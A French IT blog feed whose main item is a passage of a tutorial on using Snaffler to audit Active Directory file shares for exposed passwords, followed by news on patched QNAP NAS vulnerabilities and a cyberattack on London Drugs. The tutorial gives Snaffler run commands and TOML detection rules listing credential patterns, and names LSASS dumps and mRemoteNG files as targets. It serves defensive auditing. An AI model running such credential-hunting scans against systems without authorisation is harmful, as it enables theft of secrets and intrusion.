Les mesures "traditionnelles" de sécurité à prendre concernant la gestion des permissions d'accès aux partages de fichiers sont les suivantes :

  • S'assurer que les partages de fichiers ne sont pas accessibles en mode anonyme : cela peut paraitre étonnant, mais c'est beaucoup plus fréquent qu'on ne le croit d'après mes expériences.
  • Définir un modèle de droit clair et efficace, adapté au contexte de sécurité de l'entreprise. Pour trouver un modèle "standard" de sécurité, vous pouvez notamment consulter cet article sur la méthode AGDLP : AGDLP – Bien gérer les permissions de son serveur de fichiers.
  • S'assurer d'avoir une équipe formée sur le sujet : la gestion des droits sur les partages de fichiers peut avoir quelques secrets. Il faut s'assurer que notre équipe est techniquement formée, mais qu'elle connait aussi les bonnes pratiques internes de l'entreprise afin de savoir s'il y est légitime que tel groupe accède à telle information. On peut citer la directive n°1 du guide d'hygiène de l'ANSSI : Former les équipes opérationnelles à la sécurité des systèmes d’information.
  • Sensibiliser et former les utilisateurs concernant la manipulation, le stockage et la partage d'informations sensibles au quotidien, au sein d'une équipe ou avec des utilisateurs externes : On peut citer la directive n°2 du guide d'hygiène de l'ANSSI : Sensibiliser les utilisateurs aux bonnes pratiques élémentaires de sécurité informatique.
  • Archiver les données qui ne sont plus utilisées afin de réduire la surface d'attaque. Il est évident que si une donnée n'est plus exposée, elle ne pourra être compromise.

Même avec toutes ces bonnes pratiques, qu'est-ce qui empêcherai un utilisateur de stocker le mot de passe du compte X (ex-Twitter) de l'entreprise dans un fichier texte sur le partage "\\SRV-FICHIER\Communs\Communication", pour l'échanger plus facilement avec ses deux collègues du pôle communication ?

IV. Démarche proactive de recherche d'informations sensibles dans les partages

A. Snaffler : automatiser la recherche d'informations sensibles

En complément des mesures et bonnes pratiques listées dans la section précédente, la blue team peut souhaiter avoir une démarche proactive et utiliser elle-même les outils et méthodes des attaquants. Cela dans le but de vérifier que les mesures de sécurité sont efficaces et bien implémentées au travers des vérifications régulières. C'est ici que Snaffler entre en jeu.

Snaffler est un exécutable plutôt simple d'utilisation au regard de la charge de travail qu'il permet d'économiser. Comme indiqué précédemment, dans son utilisation standard, celui-ci va

  1. Se connecter à l'Active Directory et lister les objets "Ordinateur".
  2. Se connecter à chaque ordinateur afin de lister les partages de fichiers exposés.
  3. Vérifier les droits de lecture sur chacun des partages, dossiers et sous-dossiers avec l'utilisateur courant.
  4. Lister les fichiers et sélectionner les plus intéressants.
  5. Lire le contenu de chacun des fichiers accessibles dans ces partages en fonction des règles de recherche configurées.

À chaque étape de ce processus sont appliquées des règles de matching afin de déterminer si le partage, répertoire ou fichier est intéressant ou doit être mis de côté. Ce processus peut être schématisé de la façon suivante :

Schéma macro du fonctionnement de Snaffler.
Schéma macro du fonctionnement de Snaffler.

B. Utiliser Snaffler au sein d'un domaine Active Directory

Soyez vigilant à utiliser cet outil que si vous y êtes autorisé. Pour rappel : Code pénal : Chapitre III : Des atteintes aux systèmes de traitement automatisé de données

Maintenant que nous avons introduit le sujet, passons à l'action. Il faut bien sûr commencer par télécharger l'exécutable depuis son dépôt Github : Github - Snaffler.

Attention, il faut également savoir que le binaire "Snaffler.exe" peut être détecté comme malveillant par certains EPP et EDR, le binaire étant autant utilisé par les défenseurs que par les attaquants, il est normal que des solutions de sécurité le catégorisent ainsi :

Analyse VirusTotal de la dernière version de Snaffler.exe.
Analyse VirusTotal de la dernière version de Snaffler.exe.

D'après cette analyse VirusTotal réalisée sur la dernière version de Snaffler, 43 des 73 produits de sécurité utilisés considèrent le binaire comme malveillant. Il faudra donc certainement passer par une mise en liste blanche du binaire.

Snaffler est open-source, vous pouvez donc étudier son code source avant exécution sur votre système d'information.

Le plus simple pour avoir une vue rapide de ses capacités et de l'exécuter depuis un poste du domaine avec un utilisateur "non privilégié" du domaine.

Cependant, les choix de l'utilisateur et de la position sur le réseau du système utilisé ont ici leur importance et doivent refléter la situation de l'attaquant tel que souhaité dans votre simulation. S'agit-il d'un compte RH, stagiaire ou d'un membre de l'équipe IT ? L'attaquant effectue-t-il sa recherche depuis le réseau Wifi invité, le poste utilisateur de l'accueil ?, etc. À ce titre, plusieurs itérations du même test peuvent être effectuées, en modifiant le compte utilisateur utilisé ou la position réseau du système émettant la recherche. Vous pourrez alors comparer les résultats obtenus.

Depuis un poste intégré au domaine et un compte utilisateur valide sur le domaine, j'utilise Snaffler de la façon suivante :

.\Snaffler.exe -s -v Data

L'option "-s" est utilisée ici pour rediriger la sortie vers le terminal et l'option "-v Data" est utilisée pour définir le niveau de verbosité. "Data" signifie ici que nous n'aurons que des informations à propos des données trouvées, aucune information de debug.

Pas d'authentification, pas de spécification de cible (même si cela est possible via les options). Snaffler va utiliser la session actuelle de l'utilisateur ainsi que les informations du domaine pour se connecter à l'Active Directory et commencer son énumération.

En fonction de votre système d'information, Snaffler peut s'exécuter pendant assez longtemps (j'ai déjà vu des cas où l'analyse prenait plusieurs heures). Cependant, vous devriez avoir des premiers résultats assez rapidement. Ceux-ci s'affichent au fil de l'eau.

Voici un exemple de résultat (cliquez sur l'image pour zoomer) :

Exemple de sortie produite par Snaffler avec découverte d'informations sensibles.
Exemple de sortie produite par Snaffler avec découverte d'informations sensibles.

A noter que pour une utilisation en live, cette première commande suffit. On peut toutefois stocker la sortie de Snaffler dans un fichier texte, ce qui est notamment intéressant lorsque la sortie produite est volumineuse :

snaffler.exe -s -v Data -o snaffler.log

Snaffler va alors écrire ses résultats dans un fichier dédié, qui pourra être parcouru après coup.

C. Comprendre les résultats de Snaffler

Comme vous pouvez le voir dans la capture ci-dessus, Snaffler peut être assez verbeux dans sa sortie. Lorsque l'on connait la structure de cet affichage, les choses deviennent cependant beaucoup plus simples. Dans un premier temps, on peut voir que Snaffler se connecte à tous les objets Ordinateurs retournés par sa requête LDAP (l'AD et un poste utilisateur dans mon cas) et liste les partages réseau disponibles (Cliquez sur l'image pour zoomer) :

Vue des systèmes et partages découverts par Snaffler dans la sortie standard.
Vue des systèmes et partages découverts par Snaffler dans la sortie standard.

À noter que j'effectue ma démonstration ici avec l'Administrateur du domaine, qui a donc accès à tous les répertoires partagés du domaine. En fonction de votre objectif (trouver absolument une donnée, où qu'elle soit, ou voir à quoi à accès tel profil utilisateur depuis telle position réseau), votre résultat pourra nettement différer.

Suite à cela, Snaffler commence à journaliser des informations à propos des fichiers qu'il trouve intéressant, ainsi que des extraits de ces fichiers (Cliquez sur l'image pour zoomer) :

Vue des fichiers et chaines de caractère découverts par Snaffler dans les partages de mon domaine.
Vue des fichiers et chaines de caractère découverts par Snaffler dans les partages de mon domaine.

Chaque ligne commence par le nom de l'utilisateur utilisé pour l'énumération ("[IT-CONNECT\Administrateur@AD01]" :

  • La première ligne nous indique qu'une règle de détection a trouvé un fichier intéressant (d'après son nom) : "confCons.xml". Les connaisseurs reconnaitront le nom d'un fichier de configuration de l'outil "mRemoteNG", utilisé pour stocker les connexions (nom, login, mot de passe) des connexions RDP, SSH, etc.
  • La seconde ligne est le résultat d'une règle de parsing du contenu d'un fichier et nous donne un extrait d'une donnée de ce même fichier de configuration. C'est souvent le plus intéressant et facile d'accès, car il s'agit de fichier "texte", facile à parser pour Snaffler. Mais, il ne faut pas forcément s'arrêter là.
  • La troisième ligne est à nouveau une règle de matching sur un nom de fichier. Snaffler a découvert un fichier de dump mémoire (".DMP"). Le chemin et nom complet du fichier (en violet) nous indique qu'il s'agit d'un dump mémoire du processus LSASS, notamment connu pour y stocker les identifiants et sessions des utilisateurs connectés. La structure du fichier n'étant pas du simple texte, Snaffler nous indique simplement sa présence et c'est à nous d'aller plus loin si l'on juge cela intéressant.

Pour mieux comprendre encore, voici la structure de chaque ligne de sortie Snaffler (cliquez sur l'image pour zoomer) :

Détails de la structure de sortie de Snaffler.
Détails de la structure de sortie de Snaffler.

La couleur a notamment une importance, elle détermine le niveau de certitude et d'intérêt que Snaffler a sur la présence d'une information recherchée :

  • Black : certitude que l'information ou le fichier découvert est sensible
  • Red : a de grande chance d'être ou de contenir une information sensible
  • Yellow et Green : peut présenter un intérêt, mais une investigation plus poussée est nécessaire

Ces niveaux de catégorisation sont inscrits dans les différentes règles de Snaffler. La découverte d'un champ "password=" dans un fichier sera Red alors que la découverte d'un script PowerShell sera Green. À ce titre, il est possible de filtrer la sortie de Snaffler pour n'afficher, par exemple, que les résultats Red ou Black :

.\Snaffler.exe -s -v Data -b 3

L'option "-b 3" entraine une journalisation de la catégorie Black uniquement (la plus élevée). Je vous recommande cependant de journaliser au moins à partir du niveau Red, qui sont en général pertinents. Pour cela, utilisez l'option "-b 2".

D. Réaliser une recherche locale de données via Snaffler

Nous avons pour le moment utilisé Snaffler dans son mode "par défaut", dans lequel il va lui-même chercher une liste d'hôtes auprès de l'Active Directory. Il est aussi possible de réaliser une exécution uniquement locale de Snaffler, ciblant le système du fichier de l'hôte sur lequel il est déposé, sans communication réseau et avec des chances de détection réduite pour un attaquant :

.\Snaffler.exe -s -v Data -i C:\

Via l'option "-i", on ordonne à Snaffler de ne pas faire de récupération d'hôte et de se fier à notre liste à la place. Cette option peut aussi être utilisée pour spécifier un partage précis sur un système de notre choix :

.\Snaffler.exe -s -v Data -i \\AD01.it-connect.tech\Partage_IT

Enfin, si l'on souhaite que Snaffler effectue une découverte des partages, mais pas des hôtes, on peut lui fournir une liste d'hôte à énumérer avec l'option "-n" :

.\Snaffler.exe -s -v Data -n AD01.it-connect.tech,DESKTOP-VAU6BQO.it-connect.tech

Ces deux dernières options sont intéressantes pour une analyse ciblée sur un serveur ou un partage donné.

V. Utilisation et configuration personnalisée de Snaffler

A. Comprendre le fonctionnement des règles Snaffler

Pour mieux comprendre le fonctionnement de Snaffler, il faut savoir que celui-ci effectue une recherche et catégorisation progressive des fichiers et informations en fonctions des règles fournies. D'abord, il va rechercher les fichiers dans tous les partages, dossiers et sous-dossiers sur lequel il dispose de droits de lecture. Un premier tri est effectué sur ces fichiers :

  • En fonction de leurs tailles (pour des raisons de performance)
  • En fonction de leurs extensions (.kdbx, .id_rsa, .ppk, etc.)
  • En fonction des noms de fichier (web.config)
  • En fonction d'un mot présent dans le nom du fichier ("Mes mots de passe 2024.xlsx")

En fonction de ces critères ou d'une combinaison d'entre eux, Snaffler appliquera une décision :

  1. Discard : Exclure le fichier de l'analyse (trop gros, fichiers généralement pas intéressants ou difficiles à parser).
  2. Keep : Journaliser le fichier (terminal/fichier de log).
  3. Relay : passer le fichier à une ou plusieurs règles en vue d'y chercher une donnée spécifique (en fonction du format/type de fichier). Par exemple, si une règle recherchant les extensions ".ps1" trouve un fichier, elle passera ce fichier à un ensemble de règles permettant d'y chercher les mots "password", "net user", etc. grâce à des expressions régulières.

Les règles sont écrites au format TOML et sont assez complexes au premier abord. Il faut notamment bien comprendre le fonctionnement et les capacités de Snaffler pour les mieux les appréhender. Préférez donc utiliser l'outil dans un premier temps avant de vouloir concevoir vos propres règles.

Les règles par défaut de Snaffler, intégrées dans l'exécutable, sont généralement suffisantes pour avoir des résultats pertinents lors d'une première analyse.

Pour dégrossir le sujet et mieux comprendre Snaffler, étudions la règle suivante :

[[ClassifierRules]]
EnumerationScope = "FileEnumeration"
RuleName = "RelayPsByExtension"
MatchAction = "Relay"
RelayTargets = ["KeepPsCredentials",
"KeepCmdCredentials",
"KeepAwsKeysInCode",
"KeepInlinePrivateKey",
"KeepPassOrKeyInCode", "KeepSlackTokensInCode",
"KeepSqlAccountCreation",
"KeepDbConnStringPw"]
Description = "Files with these extensions will be searched for PowerShell related strings."
MatchLocation = "FileExtension"
WordListType = "Exact"
MatchLength = 0
WordList = ["\.psd1",
"\.psm1",
"\.ps1"]
Triage = "Green"

Les noms des différents attributs sont assez explicites et nous avons déjà aperçu des "EnumerationScope" précédemment dans l'article :

  • ShareEnumeration : règles portant sur les partages, permettant notamment d'exclure de l'analyse certains partages peu intéressant ("\\PRINT$" "\\IPC$").
  • DirectoryEnumeration : règles portant sur les noms des répertoires, permettant également d'en exclure certains.
  • FileEnumeration : règles portant sur les noms et extensions des fichiers, permettant d'inclure ou exclure certains d'entre eux de l'analyse, de journaliser les fichiers intéressants et de passer aux règles suivantes les fichiers à parser.
  • ContentsEnumeration : règles de parsage de fichier, qui permettent de détecter des patterns précis dans des fichiers ("password=", "client_secret", etc.)
  • PostMatch : Règles spécifiques d'exclusion pour exclure certains faux positifs classiques.

Notre règle ci-dessus va donc rechercher les fichiers ayant des extensions précises ("MatchLocation = FileExtension"), comme ".psd1", ".psm1" ou ".ps1". En cas de match, elle va relayer ("MatchAction = Relay") le fichier cible aux règles présentes dans la liste "RelayTargets". Voici, en exemple, l'une des règles cible en question :

[[ClassifierRules]]
EnumerationScope = "ContentsEnumeration"
RuleName = "KeepPsCredentials"
MatchAction = "Snaffle"
Description = "Files with contents matching these regexen are very interesting."
MatchLocation = "FileContentAsString"
WordListType = "Regex"
MatchLength = 0
WordList = [ "-SecureString",
"-AsPlainText",
"\[Net.NetworkCredential\]::new\("]
Triage = "Red"

Cette règle va rechercher dans le contenu du fichier ("MatchLocation = FileContentAsString") les mots "-SecureString", "-AsPlainText", "\[Net.NetworkCredential\]::new\(" et journaliser "MatchAction = Snaffle" en cas de match. Lorsqu'un script PowerShell contient l'instruction "-AsPlainText" ou qu'il fait référence à une SecureString, c'est généralement le signe qu'il y a un mot de passe intégré dans le script.

Les règles par défaut de Snaffler sont mises à jour occasionnellement en fonction des apports de la communauté (voir l'historique des pull requests Github), vous pouvez notamment consulter le contenu des règles sur le Github également : Github - Snaffler/SnafflerRules. N'hésitez pas à les consulter en parallèle de vos premières utilisations pour comprendre précisément comment ces règles sont structurées.

B. Créer une règle Snaffler personnalisée

Ces deux exemples devraient vous fournir les bases nécessaires à la modification des règles existantes et la création de vos propres règles. Nous allons voir dans cette section comment ajouter une règle de recherche dans le contenu des fichiers PowerShell. Dans un premier temps, il est nécessaire de générer une base de fichier de configuration à l'aide de l'option "-z" :

Snaffler.exe -z

Cette option va générer un fichier "default.toml" dans votre répertoire courant, qu'il faudra ensuite spécifier lors du lancement de Snaffler (c'est ce fichier qui contient la limite de taille de fichier au-delà de laquelle Snaffler ne s'intéressera pas à un fichier).

À titre d'exemple, imaginons que nous venons de mettre en place un SI de sauvegarde cloisonné de notre SI principal et totalement décorrélé de notre domaine. Dans la démarche d'un attaquant ayant compromis notre domaine et souhaitant atteindre les sauvegardes avant de déployer son ransomware, celui-ci peut chercher dans notre documentation, scripts et mails la trace d'un éventuel SI de sauvegarde.

Nous ne souhaitons donc pas qu'un attaquant ayant compromis un compte d'un membre du SI puisse découvrir de script contenant le nom de notre serveur de sauvegarde ("SRV-BACKUP01") et par conséquent l'existence de notre SI de sauvegarde. Je vais dans un premier temps ajouter la règle suivante :

[[ClassifierRules]]
EnumerationScope = "ContentsEnumeration"
RuleName = "CUSTOM-KeepPsBackupServer"
MatchAction = "Snaffle"
Description = "File containning our backup server name, should be deleted ASAP."
MatchLocation = "FileContentAsString"
WordListType = "Regex"
MatchLength = 0
WordList = [ "SRV-BACKUP01"]
Triage = "Red"

Celle-ci va rechercher le terme "SRV-BACKUP01" dans tous les fichiers qui lui seront relayés. Ensuite, nous allons reprendre la structure de la règle "RelayPsByExtension" vu précédemment, ajouter quelques extensions et préciser ma nouvelle règle dans la liste des "RelayTargets" :

[[ClassifierRules]]
EnumerationScope = "FileEnumeration"
RuleName = "RelayScriptExtension"
MatchAction = "Relay"
RelayTargets = ["CUSTOM-KeepPsBackupServer"]
Description = "Files with these extensions will be searched for script related strings."
MatchLocation = "FileExtension"
WordListType = "Exact"
MatchLength = 0
WordList = ["\\.psd1",
"\\.psm1",
"\\.ps1",
"\\.bat",
"\\.cmd",
"\\.vbs"]
Triage = "Green"

Si j'exécute Snaffler en spécifiant ma nouvelle configuration, une analyse avec uniquement mes deux règles sera effectuée :

Snaffler.exe -s -v Data -z .\default.toml

Voici un résultat possible :

Ma nouvelle règle "CUSTOM-KeepPsBackupServer" a effectivement permis de trouver un script contenant le nom de mon serveur de sauvegarde, il ne s'agit pas d'une information sensible au regard des règles par défaut de Snaffler, mais dans mon contexte, cette information a intérêt à être remontée.

Attention, cette action va exécuter une analyse avec uniquement vos règles. Celles par défaut ne seront plus utilisées. Si vous souhaitez ajouter vos règles de façon durable dans l'analyse en plus de celles par défaut, il faut ajouter des fichiers ".toml" contenant vos règles dans le dossier "Snaffler/SnaffRules/DefaultRules", puis recompiler le binaire, qui contiendra alors l'ensemble des règles.

VI. Conclusion

Nous avons étudié dans cet article la problématique du stockage des informations sensibles dans les partages de fichiers et de la difficulté de gestion des droits et permissions dans le temps sur ces éléments. Snaffler est à mon sens un outil très intéressant pour compléter les mesures de sécurité habituelles sur ces sujets, puisqu'il permet de faire une analyse complète et concrète des informations visibles par un utilisateur sur les partages.

Il s'agit d'un outil très utilisé dans les phases de recherche, notamment lors des opérations de simulations d'attaques (tests d'intrusion). Dans des opérations réelles, l'attaquant ne va pas utiliser Snaffler car celui-ci est trop bruyant (un même compte utilisateur qui s'authentifie sur toutes les machines du domaine pour lister les partages), mais l'opération restera la même : voir quelles informations sont accessibles par un utilisateur compromis, et trouver des données techniques ou métier.

Enfin, il faut savoir qu'une version "étendue" de Snaffler existe ("UltraSnaffler"), elle permet de chercher des données dans des fichiers plus complexes comme des fichiers ".docx", ".xlsx". Ces possibilités ne sont pas proposées par défaut, car elle nécessite l'inclusion de librairies qui multiplie par 1200% le poids du binaire. Cela reste néanmoins une piste intéressante pour une utilisation et investigation avancée.

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Analysez vos partages de fichiers Active Directory avec Snaffler pour protéger vos données first appeared on IT-Connect.

Ces failles de sécurité peuvent permettre la compromission de votre NAS QNAP !

30 avril 2024 à 07:47

Vous utilisez un NAS QNAP ? Veillez à ce qu'il soit à jour, car plusieurs failles de sécurité critiques ont été corrigées ! Elles représentent une menace sérieuse pour votre NAS et vos données. Faisons le point.

En mars dernier, nous avons déjà publié un article au sujet de 3 failles de sécurité critiques découvertes dans le système d'exploitation utilisé par les NAS QNAP. Il s'avère que 3 autres vulnérabilités sont désormais mentionnées dans ce bulletin de sécurité et qu'une autre alerte mentionne 2 failles de sécurité découvertes à l'occasion d'une édition de la compétition de hacking Pwn2Own. L'exploitation de ces vulnérabilités peut permettre à un attaquant d'exécuter des commandes sur le NAS, ce qui pourrait lui permettre de compromettre l'appareil.

Commençons par évoquer les trois failles de sécurité critiques évoquées sur cette page :

  • CVE-2024-27124 :

Cette vulnérabilité d'injection de commande pourrait permettre à des utilisateurs d'exécuter des commandes sur le système du NAS, à distance, via le réseau. Elle est associée à un score CVSS de 7.5 sur 10.

  • CVE-2024-32764 :

Cette vulnérabilité donne accès à une fonction critique du système sans authentification et pourrait permettre à des utilisateurs standards (sans privilèges élevés) d'accéder à certaines fonctions et de les utiliser, à distance. Ceci est lié au service myQNAPcloud Link. Elle est associée à un score CVSS de 9.9 sur 10.

"Un défaut de contrôle de l’authentification dans myQNAPcloud Link permet à un attaquant non authentifié, en envoyant des requêtes spécifiquement forgées, d’accéder à certaines fonctionnalités critiques.", peut-on lire sur le site du CERT Santé.

  • CVE-2024-32766 :

Cette vulnérabilité d'injection de commande pourrait permettre à un attaquant non authentifié d'exécuter des commandes arbitraires sur le système du NAS, à distance, via le réseau. Elle est associée à un score CVSS de 10 sur 10.

En plus de ces 3 vulnérabilités, voici 2 autres failles de sécurité importantes patchées il y a quelques jours par QNAP :

  • CVE-2023-51364, CVE-2023-51365 :

Il s'agit de deux vulnérabilités de type "path transversal" permettant à un attaquant de lire le contenu de fichiers protégés, et potentiellement, d'exposer des données sensibles via le réseau. Elles sont associées à un score CVSS de 8.7 sur 10.

Quelles sont les versions affectées ?

Voici la liste des versions affectées, pour chaque système :

  • QTS 5.x et QTS 4.5.x
  • QuTS hero h5.x et QuTS hero h4.5.x
  • QuTScloud c5.x
  • myQNAPcloud 1.0.x
  • myQNAPcloud Link 2.4.x

Comment se protéger ?

Pour vous protéger de l'ensemble de ces failles de sécurité, vous devez utiliser l'une de ces versions :

  • QTS 5.1.4.2596 build 20231128 et supérieur
  • QTS 4.5.4.2627 build 20231225 et supérieur 
  • QuTS hero h5.1.3.2578 build 20231110 et supérieur 
  • QuTS hero h4.5.4.2626 build 20231225 et supérieur 
  • QuTScloud c5.1.5.2651 et supérieur 
  • myQNAPcloud 1.0.52 (2023/11/24) et supérieur
  • myQNAPcloud Link 2.4.51 et supérieur

En complément, veillez à utiliser un mot de passe robuste sur vos comptes d'accès au NAS (activez le MFA également), sauvegardez régulièrement vos données et limitez les accès au NAS notamment l'exposition de l'appareil sur Internet.

À vos mises à jour !

The post Ces failles de sécurité peuvent permettre la compromission de votre NAS QNAP ! first appeared on IT-Connect.

Canada – Une cyberattaque force London Drugs à fermer des dizaines de magasins !

30 avril 2024 à 01:00

La chaîne de magasins canadienne "London Drugs" est victime d'une cyberattaque majeure ! Plusieurs magasins sont actuellement fermés à cause de cet incident de sécurité ! Faisons le point.

London Drugs est une grande chaîne de magasins canadiens qui vend des produits divers et variés : des produits de beauté, des outils de jardinage ou encore des ordinateurs. Le site officiel mentionne 80 magasins pour un total de 8 000 employés.

Le 28 avril 2024, les équipes techniques de London Drugs ont fait la découverte d'une intrusion sur leur système informatique. L'information a été révélée dimanche soir dans un e-mail envoyé à CBC/Radio-Canada.

Suite à cette cyberattaque, qualifiée de problème opérationnel, des mesures ont été prises : "London Drugs a immédiatement pris des contre-mesures pour protéger son réseau et ses données", notamment en sollicitant l'aide d'experts externes. De plus, la direction a pris la décision de fermer temporairement tous ses magasins présents dans l'ouest du Canada, pour une durée indéterminée. Il s'agit d'une mesure de précaution et une conséquence de l'indisponibilité éventuelle d'une partie du système informatique. Rien qu'en Colombie-Britannique, London Drugs compte plus de 50 magasins.

Voici ce que l'on peut lire sur le compte X (Twitter) officiel de London Drugs : "À l'heure actuelle, nous n'avons aucune raison de penser que des données de clients ou d'employés ont été affectées."

Pour le moment, aucune information n'a été publiée quant à l'origine de cette attaque. Nous ignorons s'il s'agit d'un ransomware et s'il y a eu un vol de données.

Source

The post Canada – Une cyberattaque force London Drugs à fermer des dizaines de magasins ! first appeared on IT-Connect.

❌
❌